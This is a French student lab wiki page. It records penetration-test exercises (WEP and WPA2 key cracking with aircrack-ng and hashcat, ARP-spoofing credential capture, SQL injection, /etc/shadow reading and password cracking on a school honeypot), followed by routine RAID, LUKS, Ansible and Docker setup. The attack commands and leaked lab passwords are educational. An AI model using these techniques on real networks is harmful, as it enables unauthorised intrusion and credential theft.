[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc nous utilisons la condition vraie sur les deux champs. De ce fait la base de données sera « perdue » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous indiquant qu'il est impossible de se connecter à tout ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présents. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== TP ASR ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder à des &amp;quot;apt install&amp;quot; et ne plus être considéré comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur Chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
'''Clés SSH'''&lt;br /&gt;
&lt;br /&gt;
Génération d’une paire de clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Ces clés sont stocké coté capbreton dans le dossier /.ssh&lt;br /&gt;
&lt;br /&gt;
Par la suite nous installons la clef publique sur nos cibles (les machines sur Chassiron) :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh 192.168.42.5 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement&lt;br /&gt;
&lt;br /&gt;
'''Installation d'Ansible'''&lt;br /&gt;
&lt;br /&gt;
Installation via la commande :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :&lt;br /&gt;
 [webserver]                                                                                                             &lt;br /&gt;
 192.168.42.5                                                                                                                                                                                                                                    &lt;br /&gt;
 &lt;br /&gt;
 [webservers]                                                                                                            &lt;br /&gt;
 192.168.42.5                                                                                                            &lt;br /&gt;
 192.168.42.2                                                                                                            &lt;br /&gt;
 192.168.42.4                                                                                                            &lt;br /&gt;
 192.168.42.7                                                                                                            &lt;br /&gt;
 192.168.42.9                                                                                                            &lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible : &lt;br /&gt;
 ansible webserver -a &amp;quot;lsb_release -d&amp;quot;&lt;br /&gt;
&lt;br /&gt;
L'étape suivant consiste à tester ansible.&lt;br /&gt;
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed                                                                                           &lt;br /&gt;
 apt:                                                                                                                            &lt;br /&gt;
        update_cache: yes                                                                                                       &lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;                                                                                         &lt;br /&gt;
 vars:                                                                                                                           &lt;br /&gt;
        packages:                                                                                                                       &lt;br /&gt;
                - ntp                                                                                                                   &lt;br /&gt;
                - python3                                                                                                               &lt;br /&gt;
                - python3-pip                                                                                                                                                                                                                 &lt;br /&gt;
 &lt;br /&gt;
 - name: docker                                                                                                            &lt;br /&gt;
 pip:                                                                                                                            &lt;br /&gt;
         name: docker                                                                                                                                                                                                                          &lt;br /&gt;
 &lt;br /&gt;
 - name: maj ntp                                                                                                           &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                    &lt;br /&gt;
         dest: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                   &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
                                                                                                                                                                                                                           &lt;br /&gt;
 - name: maj motd                                                                                                          &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/motd&amp;quot;                                                                                                        &lt;br /&gt;
         dest: &amp;quot;/etc/motd&amp;quot;                                                                                                       &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de Capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de Chassiron via la commande ssh root@192.168.42.5&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Plusieurs commandes nous permettent de vérifier le bon fonctionnement : &lt;br /&gt;
 docker images (Affichage des différentes images docker installées)&lt;br /&gt;
 docker ps -a (Affichage des différents containeurs en cours d'exécution)&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce à la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisée.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
Puis coté chassiron : &lt;br /&gt;
 docker pull 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
&lt;br /&gt;
Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.&lt;br /&gt;
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;br /&gt;
&lt;br /&gt;
=== Equilibreur de charge ===&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
         ServerName reverse.amanite.site    &lt;br /&gt;
         ServerAdmin lolopierro                                                                                                                                                                                               &lt;br /&gt;
         ProxyPass / http://192.168.42.5:8085                                                                                      &lt;br /&gt;
